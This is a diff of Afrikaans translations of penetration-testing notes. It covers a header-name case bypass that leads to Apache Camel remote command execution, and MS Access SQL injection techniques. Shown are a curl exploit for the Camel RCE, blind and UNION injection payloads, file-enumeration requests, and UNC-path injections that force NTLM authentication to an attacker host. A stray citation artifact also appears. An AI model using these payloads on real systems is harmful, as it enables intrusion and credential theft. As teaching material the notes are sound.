- Die **`Content-Disposition`** kop in HTTP antwoorde dui aan of 'n lêer **inline** (binne die webblad) vertoon moet word of as 'n **aanhegting** (afgelaai) behandel moet word. Byvoorbeeld:
```
Content-Disposition: attachment; filename="filename.jpg"
```
@ -181,7 +181,7 @@ Strict-Transport-Security: max-age=3153600
```
## Header Naam Kas Bypass
HTTP/1.1 definieer header veld-names as **kas-onafhanklik** (RFC 9110 §5.1). Nietemin, dit is baie algemeen om aangepaste middleware, sekuriteitsfilters, of besigheidslogika te vind wat die *letterlike* header naam ontvang sonder om die kas eers te normaliseer (bv. `header.equals("CamelExecCommandExecutable")`). As daardie kontroles **kas-afhanklik** uitgevoer word, kan 'n aanvaller dit eenvoudig omseil deur dieselfde header met 'n ander kapitalisering te stuur.
HTTP/1.1 definieer header veld-names as **kas-ongevoelig** (RFC 9110 §5.1). Nietemin, dit is baie algemeen om aangepaste middleware, sekuriteitsfilters, of besigheidslogika te vind wat die *letterlike* header naam ontvang sonder om die kas eers te normaliseer (bv. `header.equals("CamelExecCommandExecutable")`). As daardie kontroles **kas-gevoelig** uitgevoer word, kan 'n aanvaller dit eenvoudig omseil deur dieselfde header met 'n ander kapitalisering te stuur.
Tipiese situasies waar hierdie fout voorkom:
@ -192,12 +192,12 @@ Tipiese situasies waar hierdie fout voorkom:
### Misbruik van die bypass
1. Identifiseer 'n header wat gefilter of gevalideer word aan die bediener-kant (byvoorbeeld, deur bronkode, dokumentasie, of foutboodskappe te lees).
2. Stuur die **dieselfde header met 'n ander kas** (gemengde-kas of hoofletters). Omdat HTTP-stakke gewoonlik headers slegs *nadat* gebruikerskode uitgevoer is kanoniseer, kan die kwesbare kontrole oorgeslaan word.
3. As die downstream komponent headers op 'n kas-onafhanklike manier hanteer (meeste doen), sal dit die aanvaller-beheerde waarde aanvaar.
2. Stuur die **dieselfde header met 'n ander kas** (gemengde-kas of hoofletters). Omdat HTTP stakke gewoonlik headers slegs *nadat* gebruikerskode uitgevoer is, kan die kwesbare kontrole oorgeslaan word.
3. As die downstream komponent headers op 'n kas-ongevoelige manier hanteer (meeste doen), sal dit die aanvaller-beheerde waarde aanvaar.
### Voorbeeld: Apache Camel `exec` RCE (CVE-2025-27636)
In kwesbare weergawes van Apache Camel probeer die *Command Center* roetes om onbetroubare versoeke te blokkeer deur die headers `CamelExecCommandExecutable` en `CamelExecCommandArgs` te verwyder. Die vergelyking is gedoen met `equals()` sodat slegs die presiese kleinletters name verwyder is.
In kwesbare weergawes van Apache Camel probeer die *Command Center* roetes om onbetroubare versoeke te blokkeer deur die headers `CamelExecCommandExecutable` en `CamelExecCommandArgs` te verwyder. Die vergelyking is gedoen met `equals()` sodat slegs die presiese kleinletters name verwyder is.
```bash
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
curl "http://<IP>/command-center" \

View File

@ -99,11 +99,11 @@ Ons het reeds die [**chaining equals technique**](ms-access-sql-injection.md#cha
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
In 'n neutedop gebruik die navraag 'n "if-then" verklaring om 'n "200 OK" te aktiveer in geval van sukses of 'n "500 Internal Error" andersins. Deur gebruik te maak van die TOP 10 operator, is dit moontlik om die eerste tien resultate te kies. Die daaropvolgende gebruik van LAST laat toe om slegs die 10de tuple te oorweeg. Op so 'n waarde, deur die MID operator te gebruik, is dit moontlik om 'n eenvoudige karaktervergelyking uit te voer. Deur die indeks van MID en TOP behoorlik te verander, kan ons die inhoud van die "username" veld vir alle rye dump.
In 'n neutedop gebruik die navraag 'n "if-then" verklaring om 'n "200 OK" te aktiveer in die geval van sukses of 'n "500 Internal Error" andersins. Deur gebruik te maak van die TOP 10 operator, is dit moontlik om die eerste tien resultate te kies. Die daaropvolgende gebruik van LAST laat toe om slegs die 10de tuple te oorweeg. Op so 'n waarde, deur die MID operator te gebruik, is dit moontlik om 'n eenvoudige karaktervergelyking uit te voer. Deur die indeks van MID en TOP behoorlik te verander, kan ons die inhoud van die "username" veld vir alle rye dump.
### Tydgebaseerde (Blind) Trukies
### Tyd-gebaseerde (Blind) Trukies
Jet/ACE SQL self stel **nie** 'n inheemse `SLEEP()` of `WAITFOR` funksie bloot nie, so tradisionele tydgebaseerde blinde inspuitings is beperk. U kan egter steeds 'n meetbare vertraging inbring deur die enjin te dwing om 'n **netwerkbron wat stadig is of nie antwoord nie** te benader. Omdat die enjin sal probeer om die lêer te open voordat dit die resultaat teruggee, weerspieël die HTTP-responstyd die rondreis latensie na die aanvaller-beheerde gasheer.
Jet/ACE SQL self stel **nie** 'n inheemse `SLEEP()` of `WAITFOR` funksie bloot nie, so tradisionele tyd-gebaseerde blinde inspuitings is beperk. U kan egter steeds 'n meetbare vertraging inbring deur die enjin te dwing om toegang te verkry tot 'n **netwerkbron wat stadig is of nie antwoord nie**. Omdat die enjin sal probeer om die lêer te open voordat dit die resultaat teruggee, weerspieël die HTTP-responstyd die rondreis latensie na die aanvaller-beheerde gasheer.
```sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
```
@ -113,7 +113,7 @@ Wys die UNC-pad na:
* 'n gasheer wat die TCP-handdruk na `SYN-ACK` laat val
* 'n firewall sinkhole
Die ekstra sekondes wat deur die afstandsopsoek ingevoer word, kan gebruik word as 'n **uit-baan tydsoracle** vir booleaanse toestande (bv. kies 'n stadige pad slegs wanneer die ingespotte predikaat waar is). Microsoft dokumenteer die afstandsdatabasis gedrag en die geassosieerde register-killskakel in KB5002984. citeturn1search0
Die ekstra sekondes wat deur die afstandsopsoek ingevoer word, kan gebruik word as 'n **uit-band tyds-orakel** vir booleaanse toestande (bv. kies 'n stadige pad slegs wanneer die ingespotte predikaat waar is). Microsoft dokumenteer die afstandsdatabasis gedrag en die geassosieerde registrasie-kill-switch in KB5002984. citeturn1search0
### Ander Interessante funksies
@ -136,25 +136,25 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
However, let op dat dit baie tipies is om SQL-inspuitings te vind waar jy **nie toegang het om die tabel `MSysObjects` te lees nie**.
However, let op dat dit baie tipies is om SQL Injections te vind waar jy **nie toegang het om die tabel `MSysObjects` te lees nie**.
## Lêerstelseltoegang
## Lêerstelsel toegang
### Web Wortelgids Volle Pad
### Web Wortel Gids Volle Pad
Die kennis van die **web wortel absolute pad kan verdere aanvalle vergemaklik**. As toepassingsfoute nie heeltemal verborge is nie, kan die gids pad ontdek word deur te probeer om data van 'n nie-bestaande databasis te kies.
Die kennis van die **web wortel absolute pad kan verdere aanvalle vergemaklik**. As toepassingsfoute nie heeltemal verborge is nie, kan die gids pad ontdek word deur te probeer om data uit 'n nie-bestaande databasis te kies.
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access reageer met 'n **foutboodskap wat die webgids se volle padnaam bevat**.
MS Access reageer met 'n **foutboodskap wat die web gids se volle padnaam bevat**.
### Lêeropsporing
### Lêer Enumerasie
Die volgende aanvalsvector kan gebruik word om **die bestaan van 'n lêer op die afstand lêerstelsel af te lei**. As die gespesifiseerde lêer bestaan, aktiveer MS Access 'n foutboodskap wat inligting gee dat die databasisformaat ongeldig is:
Die volgende aanvalsvector kan gebruik word om **die bestaan van 'n lêer op die afstand lêerstelsel af te lei**. As die gespesifiseerde lêer bestaan, aktiveer MS Access 'n foutboodskap wat inlig dat die databasisformaat ongeldig is:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Nog 'n manier om lêers op te spoor, bestaan uit **die spesifisering van 'n databasis.tabel item**. **As** die gespesifiseerde **lêer bestaan**, vertoon MS Access 'n **databasisformaat foutboodskap**.
'n Ander manier om lêers te enumerate, bestaan uit **die spesifisering van 'n databasis.tabel item**. **As** die gespesifiseerde **lêer bestaan**, vertoon MS Access 'n **databasisformaat foutboodskap**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
@ -164,7 +164,7 @@ Nog 'n manier om lêers op te spoor, bestaan uit **die spesifisering van 'n data
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Waar **name[i] 'n .mdb lêernaam is** en **realTable 'n bestaande tabel** binne die databasis is. Alhoewel MS Access altyd 'n foutboodskap sal aktiveer, is dit moontlik om tussen 'n ongeldige lêernaam en 'n geldige .mdb lêernaam te onderskei.
Waar **name[i] 'n .mdb lêernaam is** en **realTable 'n bestaande tabel** binne die databasis. Alhoewel MS Access altyd 'n foutboodskap sal aktiveer, is dit moontlik om tussen 'n ongeldige lêernaam en 'n geldige .mdb lêernaam te onderskei.
### Afstand Databasis Toegang & NTLM Kredensiaal Diefstal (2023)
@ -172,10 +172,10 @@ Sedert Jet 4.0 kan elke navraag 'n tabel in 'n *ander* `.mdb/.accdb` lêer verwy
```sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
```
As die gebruikersinvoer saamgevoeg word in die deel na **IN** (of in 'n `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` oproep) kan 'n aanvaller 'n **UNC pad** spesifiseer wat na 'n gasheer wys wat hulle beheer. Die enjin sal:
As gebruikersinvoer in die deel na **IN** (of in 'n `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` oproep) gekonkateneer word, kan 'n aanvaller 'n **UNC pad** spesifiseer wat na 'n gasheer wys wat hulle beheer. Die enjin sal:
1. probeer om oor SMB / HTTP te verifieer om die afstanddatabasis te open;
2. die web-bediener se **NTLM akrediteerings** lek (gedwonge verifikasie);
1. probeer om oor SMB / HTTP te autentiseer om die afstanddatabasis te open;
2. die web-bediener se **NTLM akrediteer** (gedwonge autentisering) lek;
3. die afstandlêer ontleed 'n verkeerd geformateerde of kwaadwillige databasis kan Jet/ACE geheue-korrupsie foute aktiveer wat al verskeie kere reggestel is (bv. CVE-2021-28455).
Praktiese inspuitvoorbeeld: